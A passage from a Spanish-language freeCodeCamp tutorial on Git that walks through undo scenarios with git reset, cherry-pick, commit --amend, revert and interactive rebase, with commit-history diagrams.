src="https://www.freecodecamp.org/news/content/images/2023/12/scenario_2.png" class="kg-image" alt="Scenario #2: current-vs-desired states" width="600" height="400" loading="lazy"><figcaption>Scenario #2: current-vs-desired states</figcaption></figure><p>(Nota: En las diagramas siguientes, me referiré al estado actual como el estado "original" - antes de empezar el proceso de reescribir el historial.)</p><p>Notarás tres cambios:</p><ol><li><code>main</code> apunta a "Commit 3" (el azul) en el estado actual, pero apunta a "Commit 2.4" en el estado deseado.</li><li><code>feature_branch</code> no existe en el estado actual, aunque existe y apunta al "Commit 3" en el estado deseado.</li><li><code>HEAD</code> apunta a <code>main</code> en el estado actual, y apunta a <code>feature_branch</code> en el estado deseado.</li></ol><p>Si lo puedes dibujar y sabes cómo usar <code>git reset</code>, puedes definitivamente salir de esta situación.</p><p>Así que nuevamente, lo más importante es tomar un respiro y dibujarlo.</p><p>Observando el dibujo de arriba, ¿cómo llegas al estado deseado del estado actual?</p><p>Hay unas pocas formas por supuesto, pero te presentaré una opción solamente para cada escenario. Siéntete libre de jugar con otras opciones también.	</p><p>Puedes comenzar usando <code>git reset --soft HEAD~1</code>. Esto pondría a <code>main</code> a que apunte a la confirmación previa, "Commit 2.4":</p><pre><code class="language-bash">git reset --soft HEAD~1
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/scenario_2_1.png" class="kg-image" alt="Changing ; &quot;Commit 3 is still there, just not reachable from " width="600" height="400" loading="lazy"><figcaption>Changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code>: "Commit 3" is still there, just not reachable from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Mirando el diagrama actual-vs-deseado (original-vs-desired) nuevamente, puedes ver que necesitas una nueva rama, ¿no? Puedes usar <code>git switch -c feature_branch</code> para eso, o <code>git checkout -b feature_branch</code> (el cual hace lo mismo):</p><pre><code class="language-bash">git switch -c feature_branch
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/scenario_2_2.png" class="kg-image" alt="Creating  branch" width="600" height="400" loading="lazy"><figcaption>Creating <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">feature_branch</code> branch</figcaption></figure><p>Este comando también actualiza el <code>HEAD</code> a que apunte a la nueva rama.</p><p>Ya que usaste <code>git reset --soft</code>, no cambiaste el índice, así que actualmente tiene exactamente el estado que quieres confirmar - ¡qué conveniente! Puedes simplemente confirmar a <code>feature_branch</code>:</p><pre><code class="language-bash">git commit -m "Commit 3.1"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_3_1.png" class="kg-image" alt="Committing to  branch" width="600" height="400" loading="lazy"><figcaption>Committing to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">feature_branch</code> branch</figcaption></figure><p>Y llegas al estado deseado.</p><h4 id="escenario-3">Escenario #3</h4><p>¿Listo para aplicar tus conocimientos para casos adicionales?</p><p>Todavía en <code>feature_branch</code>, agrega algunos cambios a <code>love.txt</code>, y crea un nuevo archivo llamado <code>cool.txt</code>. Pónlos en el área de preparación y confirma:</p><pre><code class="language-bash">echo Some changes &gt;&gt; love.txt
echo Git is cool &gt; cool.txt
git add love.txt
git add cool.txt
git commit -m "Commit 4"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_4.png" class="kg-image" alt="The history, as well as the state of the index and the working dir after creating &quot;Commit 4&quot;" width="600" height="400" loading="lazy"><figcaption>The history, as well as the state of the index and the working dir after creating "Commit 4"</figcaption></figure><p>Oh, ups, en realidad quería que crearas dos confirmaciones <em><em>separadas</em></em>, una con cada cambio...</p><p>¿Quieres intentar este por ti mismo (antes de seguir leyendo)?</p><p>Puedes deshacer los pasos de confirmación y del área de preparación:</p><pre><code class="language-bash">git reset --mixed HEAD~1
</code></pre><p>Siguiendo este comando, el índice ya no incluye esos dos cambios, pero todavía están en tu sistema de archivos:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reset_commit_4.png" class="kg-image" alt="Resulting state after using " width="600" height="400" loading="lazy"><figcaption>Resulting state after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git reset --mixed HEAD~1</code></figcaption></figure><p>Así que ahora, si solamente pones en el área de preparación a <code>love.tx</code>, puedes confirmarlo de forma separada:</p><pre><code class="language-bash">git add love.txt
git commit -m "Love"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_love.png" class="kg-image" alt="Resulting state after committing the changes to " width="600" height="400" loading="lazy"><figcaption>Resulting state after committing the changes to <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">love.txt</code></figcaption></figure><p>Luego, haz lo mismo para <code>cool.txt</code>:</p><pre><code class="language-bash">git add cool.txt
git commit -m "Cool"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_separately.png" class="kg-image" alt="Committing separately" width="600" height="400" loading="lazy"><figcaption>Committing separately</figcaption></figure><p>¡Genial!</p><h4 id="escenario-4">Escenario #4</h4><p>Para limpiar el estado, cambia a <code>main</code> y usa <code>reset --hard</code> para hacer que apunte a "Commit 3.1", mientras pones el índice y el directorio de trabajo al estado de "Commit 3.1":</p><pre><code class="language-bash">git checkout main
git reset --hard &lt;SHA_OF_COMMIT_3_1&gt;
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reset_main_commit_3_1.png" class="kg-image" alt="Resetting  to &quot;Commit 3.1&quot;" width="600" height="400" loading="lazy"><figcaption>Resetting <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> to "Commit 3.1"</figcaption></figure><p>Crea otro archivo (<code>another.txt</code>) con algo de texto, y agrega algo de texto a <code>love.txt</code>. Pónlos en el área de preparación ambos cambios, y confirmarlos:</p><pre><code class="language-bash">echo Another file &gt; another.txt
echo More love &gt;&gt; love.txt
git add another.txt
git add love.txt
git commit -m "Commit 4.1"
</code></pre><p>Este debería ser el resultado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_more_changes.png" class="kg-image" alt="A new commit" width="600" height="400" loading="lazy"><figcaption>A new commit</figcaption></figure><p>Ups...</p><p>Así que esta vez, quería que esté en otra rama, pero no una nueva rama, sino - una rama ya existente.</p><p>Así que, ¿qué puedes hacer?</p><p>Te daré una pista. La respuesta es realmente corta y fácil. ¿Qué hacemos primero?</p><p>No, no <code>reset</code>. <em><em>Dibujemos</em></em>. Esto es lo primero en hacer, ya que haría todo lo demás más fácil. Así que este es el estado actual:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/scenario_4.png" class="kg-image" alt="The new commit on  appears blue" width="600" height="400" loading="lazy"><figcaption>The new commit on <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code> appears blue</figcaption></figure><p>¿Y el estado deseado?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/scenario_4_1-1.png" class="kg-image" alt="We want the &quot;blue&quot; commit to be on another, , branch\label{fig-scenario-4-1}" width="600" height="400" loading="lazy"><figcaption>We want the "blue" commit to be on another, <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">existing</code>, branch</figcaption></figure><p>¿Cómo obtienes el estado actual al estado deseado, qué sería más fácil?</p><p>Una forma sería usar <code>git reset</code> como hiciste antes, pero hay otra forma que me gustaría intentar.</p><p>Fíjate que los siguientes comandos en sí asumen que la rama <code>existing</code> existe en tu repositorio, aunque no lo has creado anteriormente. Para coincidir un estado donde esta rama existe, puedes usar los siguientes comandos:</p><pre><code class="language-bash">git checkout &lt;SHA_OF_COMMIT_1&gt;
git checkout -b existing
echo "Hello" &gt; x.txt
git add x.txt
git commit -m "Commit X"
git checkout &lt;SHA_OF_COMMIT_3_1&gt; -- love.txt
git commit -m "Commit Y"
git checkout main
</code></pre><p>(El comando <code>git checkout &lt;SHA_OF _COMMIT_3_1&gt; -- love.txt</code> copia los contenidos de <code>love.txt</code> desde "Commit 3.1" al &nbsp;índice y el directorio de trabajo, así puedes confirmarlo en la rama <code>existing</code>. Necesitamos el estado de <code>love.txt</code> en el "Commit Y" que sea lo mismo que "Commit 3.1" para evitar conflictos.)</p><p>Ahora tu historial debería coincidir con el que se muestra en la imagen con el subtítulo "Queremos que la confirmación "blue" esté en otra rama, <code>existing</code>".</p><p>Primero, haz que el <code>HEAD</code> apunte a la rama existente:</p><pre><code class="language-bash">git switch existing
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/switch_existing.png" class="kg-image" alt="Switch to the  branch" width="600" height="400" loading="lazy"><figcaption>Switch to the <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">existing</code> branch</figcaption></figure><p>Intuitivamente, lo que quieres hacer es tomar los cambios introducidos en el "Commit 4.1", y aplicar estos cambios ("copiar-pegar") por encima de la rama <code>exisitng</code>. Y Git tiene una herramienta para eso.</p><p>Para pedirle a Git que tome los cambios introducidos entre una confirmación y su confirmación antecesor y sólo aplicar estos cambios en la rama activa, puedes usar <code>git cherry-pick</code>, un comando que introducimos en el <a href="#cap-8">capítulo 8</a>. Este comando toma los cambios introducidos en la versión específicada y aplicarlos al estado de la confirmación activa. Ejecuta:</p><pre><code class="language-bash">git cherry-pick &lt;SHA_OF_COMMIT_4_1&gt;
</code></pre><p>Puedes especificar el identificador SHA-1 de la confirmación deseada, pero también puedes usar <code>git cherry-pick main</code>, &nbsp;como la confirmación cuyos cambios estás aplicando es al que está apuntando <code>main</code>.</p><p><code>git cherry-pick</code> también crea un nuevo objeto de confirmación, y actualiza la rama activa a que apunte a este nuevo objeto, así que el estado resultante sería:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cherry_pick.png" class="kg-image" alt="The result after using " width="600" height="400" loading="lazy"><figcaption>The result after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git cherry-pick</code></figcaption></figure><p>Marco a la confirmación como "Commit 4.2" ya que tiene una marca de tiempo, un antecesor y un valor SHA-1 distinto de "Commit 4.1", aunque los cambios que introducen son los mismos.</p><p>Hiciste buen progreso - la confirmación deseada está ahora en la rama ¡<code>existing</code>! Pero no queremos que estos cambios existan el rama <code>main</code>. &nbsp;<code>git cherry-pick</code> solamente aplicó los cambios a la rama existente. ¿Cómo puedes quitarlos del <code>main</code>?</p><p>Una forma sería volver a <code>main</code>, y luego hacer <code>reset</code>:</p><pre><code class="language-bash">git switch main
git reset --hard HEAD~1
</code></pre><p>Y el resultado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/reset_cherry_pick.png" class="kg-image" alt="The resulting state after resetting " width="600" height="400" loading="lazy"><figcaption>The resulting state after resetting <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>¡Lo hiciste!</p><p>Fíjate que <code>git cherry-pick</code> en realidad calcula la diferencia entre la confirmación especificada y su antecesor, y luego aplica la diferencia a la confirmación activa. Esto significa que a veces, Git no será capaz de aplicar esos cambios debido a un conflicto.</p><p>También, fíjate que puedes pedirle a Git que haga <code>cherry-pick</code> de los cambios introducidos en cualquier confirmación, no solamente las confirmaciones referenciadas por una rama.</p><h3 id="recapitulaci-n-git-reset"><strong>Recapitulación - Git Reset</strong></h3><p>En este capítulo, aprendimos cómo <code>git reset</code> opera, y clarificó sus tres modos principales de operación:</p><ul><li><code>git reset --soft &lt;commit&gt;</code>, el cual cambia cualquier <code>HEAD</code> al que esté apuntando - a <code>&lt;commit&gt;</code>.</li><li><code>git reset --mixed &lt;commit&gt;</code>, el cual pasa por la etapa <code>--soft</code>, y también establece el estado del índice para que coincida con el de <code>HEAD</code>.</li><li><code>git reset --hard &lt;commit&gt;</code>, el cual pasa por las etapas <code>--soft</code> y <code>--mixed</code>, y luego pone el estado del directorio de trabajo para que coincide con el del índice.</li></ul><p>Luego aplica tus conocimientos sobre <code>git reset</code> para que resuelva algunos problemas de la vida real que surgen cuando se usa Git.</p><p>Al entender la forma en que Git opera, y al limpiar el estado actual versus el estado deseado, puedes abarcar con toda confianza todo tipo de escenarios.</p><p>En capítulos futuros, cubriremos comandos de Git adicionales y cómo nos pueden ayudar a resolver todo tipos de situaciones no deseadas.</p><!--kg-card-begin: html--><h2 id="cap-10">Capítulo 10 - Herramientas adicionales para deshacer cambios</h2><!--kg-card-end: html--><p>En el capítulo previo, conociste a <code>git reset</code>. De hecho, <code>git reset</code> es una herramienta super poderosa, y te recomiendo mucho usarlo hasta que te sientas completamente confiado con él.</p><p>Aunque, <code>git reset</code> no es la única herramienta a nuestra disposición. Algunas veces, no es la herramienta más conveniente para usar. En otras veces, no es suficiente. Este corto capítulo abordo algunas herramientas que son útiles para deshacer cambios en Git.</p><h3 id="git-commit-amend"><strong><code>git commit --amend</code></strong></h3><p>Considera el <a href="#scenery-1">Escenario #1</a> del capítulo anterior nuevamente. Como recordatorio, escribiste "I love Git" en un archivo (<code>love.txt</code>), lo pusiste en el área de preparación y confirmaste este archivo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/image-52.png" class="kg-image" alt="image-52" width="600" height="400" loading="lazy"><figcaption>The state after creating "Commit 2.3"</figcaption></figure><p>Y luego me di cuenta que no quería que lo confirmaras a ese estado, sino - que escribieras algunas palabras de amor en este archivo antes de confirmarlo.</p><p>Para coincidir con este estado, simplemente revisa la etiqueta que creaste, el cual apunta a "Commit 2.3":</p><pre><code class="language-bash">git checkout scenario-1
</code></pre><p>En el capítulo previo, cuando introdujimos <code>git reset</code>, resolviste este error usando <code>git reset --mixed HEAD~1</code>, deshaciendo efectivamente las acciones de confirmación y las acciones puesto en el área de preparación que hiciste.</p><p>Ahora me gustaría considerar otro enfoque. Continúa trabajando en el estado de la última confirmación introducida ("Commit 2.3", referenciado por la etiqueta "scenario-1"), y haz los cambios que quieras:</p><pre><code class="language-bash">echo And I love this book &gt;&gt; love.txt
</code></pre><p>Agrega este cambio al índice:</p><pre><code class="language-bash">git add love.txt
</code></pre><p>Ahora, puedes usar <code>git commit</code> con el conmutador <code>--ammend</code>, el cual le dice que sobreescriba la confirmación al que <code>HEAD</code> está apuntando. En realidad, creará otra nueva confirmación, que apunta a <code>HEAD~1</code> ("Commit 1" en nuestro ejemplo), y hará que <code>HEAD</code> apunte a esta nueva confirmación creada. Proveyendo el argumento <code>-m</code> puedes especificar un nuevo mensaje de confirmación también:</p><pre><code class="language-bash">git commit --amend -m "Commit 2.4"
</code></pre><p>Después de ejecutar este comando, <code>HEAD</code> apunta a <code>main</code>, el cual apunta a "Commit 2.4", el cual en sí apunta a "Commit 1". El "Commit 2.3" previo ya no es alcanzable desde el historial.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/commit_amend-1.png" class="kg-image" alt="commit_amend-1" width="600" height="400" loading="lazy"><figcaption>The state after using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git commit --amend</code> (Commit "2.3" is unreachable and thus not included in the drawing)</figcaption></figure><p>Esta herramienta es útil cuando quieras sobrescribir rápidamente la última confirmación que creaste. De hecho, podrías usar <code>git reset</code> para lograr lo mismo, pero puedes ver <code>git commit --ammend</code> como un atajo más conveniente.</p><h3 id="git-revert"><strong><code>git revert</code></strong></h3><p>Muy bien, otro día, otro problema.</p><p>Agrega el siguiente texto a <code>love.txt</code>, pónlo en el área de preparación y confirma como sigue:</p><pre><code class="language-bash">echo This is more tezt &gt;&gt; love.txt
git add love.txt
git commit -m "Commit 3"</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_revert_1-1.png" class="kg-image" alt="Committing &quot;More changes&quot;" width="600" height="400" loading="lazy"><figcaption>The state after committing "Commit 3"</figcaption></figure><p>Y empújalo al servidor remoto:</p><pre><code class="language-bash">git push origin HEAD
</code></pre><p>Am, ups 😓…</p><p>Noté algo. Tuve un error de tipado aquí. Escribí "This is more tezt" en vez de "This is more text". Woops. Así que, ¿cuál es el problema grande ahora? Hice <code>push</code>, lo que significa que alguien más ya podría haber hecho <code>push</code> de esos cambios.</p><p>Si sobrescribo esos cambios usando <code>git reset</code>, tendremos historiales distintos, y todo el infierno podría desatarse. Puedes sobrescribir tu propia copia del repo &nbsp;tanto como quieras hasta que hagas <code>push</code>.</p><p>Una vez que hagas <code>push</code> del cambio, necesitas estar seguro que nadie más ha solicitado esos cambios si vas a reescribir el historial.</p><p>De forma alternativa, puedes usar otra herramienta llamada <code>git revert</code>. Este comando toma la confirmación que le estás proveyendo y calcula el diff de su confirmación antecesor, así como <code>git cherry-pick</code>, pero esta vez, calcula los cambios <em>inversos</em>. Eso es, si en la confirmación especificada agregaste una línea, el servidor eliminaría la línea, y vice versa.</p><p>En nuestro caso estamos revirtiendo "Commit 3", así que la reversa sería eliminar la línea "This is more tezt" de <code>love.txt</code>. Ya que "Commit 3" está referenciado por <code>main</code> y <code>HEAD</code>, podemos usar cualquier de las referencias nombradas en este comando:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_revert_2.png" class="kg-image" alt="Using  to undo the changes" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git revert</code> to undo the changes</figcaption></figure><p><code>git revert</code> creó un nuevo objeto de confirmación, lo cual significa que es una adición al historial. Al usar <code>git revert</code>, no reescribiste el historial. Admitiste tu error pasado, y esta confirmación es un reconocimiento que cometiste un error y ahora lo arreglaste.</p><p>Alguno diría esta es la forma más madura. Alguno diría que no es un historial tan limpio como lo obtendrías si usaras <code>git reset</code> para reescribir la confirmación previa. Pero este es una forma de evitar reescribir el historial.</p><p>Ahora puedes arreglar el error de tipado y confirmar nuevamente:</p><pre><code class="language-bash">echo This is more text &gt;&gt; love.txt
git add love.txt
git commit -m "Commit 3.1"
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_revert_3.png" class="kg-image" alt="Redoing the changes" width="600" height="400" loading="lazy"><figcaption>The resulting state after redoing the changes</figcaption></figure><p>Puedes usar <code>git revert</code> para revertir una confirmación que no sea <code>HEAD</code>. Digamos que quieres revertir el antecesor de <code>HEAD</code>, puedes usar:</p><pre><code class="language-bash">git revert HEAD~1
</code></pre><p>O podrías proveer el SHA-1 de la confirmación para revertir.</p><p>Fíjate ya que Git aplicará el parche de reversa del parche anterior - esta operación podría fallar, ya que el parche ya no se podría aplicar y tendrías un conflicto.</p><h3 id="git-rebase-como-una-herramienta-para-deshacer-cosas">Git Rebase como una herramienta para deshacer cosas</h3><p>En el <a href="#cap-8">capítulo 8</a>, aprendiste sobre Git rebase. Lo consideramos principalmente como una herramienta para combinar cambios introducidos en diferentes ramas. Sin embargo, siempre y cuando no hayas hecho <code>push</code> de tus cambios, usando <code>rebase</code> en tu propia rama puede ser una forma muy conveniente para reordenar tu historial de confirmaciones.</p><p>Para ello, usualmente <a href="#rebase-single-branch">harías rebase en una sola rama</a>, y usa el rebase interactivo. Considera nuevamente este ejemplo abarcado en el <a href="#cap-8">capítulo 8</a>, donde trabajé desde <code>feature_branch_2</code>, y específicamente edité el archivo <code>code.py</code>. Comencé por cambiar todas las cadenas para que sean envueltas por comillas dobles en vez de comillas simples:	</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_4-1.png" class="kg-image" alt="Changing  into  in " width="600" height="400" loading="lazy"><figcaption>Changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">'</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">"</code> in <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">code.py</code></figcaption></figure><p>Luego, lo puse en el área de preparación y confirmé:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 17"
</code></pre><p>Luego decidí agregar una nueva función al principio del archivo:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_5-1.png" class="kg-image" alt="Adding the function " width="600" height="400" loading="lazy"><figcaption>Adding the function <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">another_feature</code></figcaption></figure><p>Nuevamente, lo puse en el área de preparación y confirmé:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 18"
</code></pre><p>Y ahora me di cuenta que en realidad me olvidé de cambiar las comillas simples a comillas dobles al envuelto de <code>__main__</code> (como lo has visto), así que hice eso también:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/code_py_6-1.png" class="kg-image" alt="Changing  into " width="600" height="400" loading="lazy"><figcaption>Changing <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">'__main__'</code> into <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">"__main__"</code></figcaption></figure><p>Por supuesto, lo puse en el área de preparación y confirmé este cambio:</p><pre><code class="language-bash">git add code.py
git commit -m "Commit 19"
</code></pre><p>Ahora, considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_19-1.png" class="kg-image" alt="The commit history after introducing &quot;Commit 19&quot;" width="600" height="400" loading="lazy"><figcaption>The commit history after introducing "Commit 19"</figcaption></figure><p>Como expliqué en el <a href="#cap-8">capítulo 8</a>, obtuve un estado con dos confirmaciones que están relacionados uno con el otro, "Commit 17" y "Commit 19" (cambiando <code>'</code> a <code>"</code>), pero están separados por el "Commit 18" que no está relacionado (donde agregué una nueva función).</p><p>Este es un caso básico donde <code>git rebase</code> sería práctico, para deshacer los cambios locales antes de hacer <code>push</code> de un historial limpio.</p><p>Intuitivamente, quiero editar el historial aquí:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/plan_edit_commits_17_18-1.png" class="kg-image" alt="These are the commits I want to edit" width="600" height="400" loading="lazy"><figcaption>These are the commits I want to edit</figcaption></figure><p>Puedo hacer <code>rebase</code> del historial desde "Commit 17" a "Commit 19", por encima de "Commit 15". Para hacer eso:</p><pre><code class="language-bash">git rebase --interactive --onto &lt;SHA_OF_COMMIT_15&gt; &lt;SHA_OF_COMMIT_15&gt;
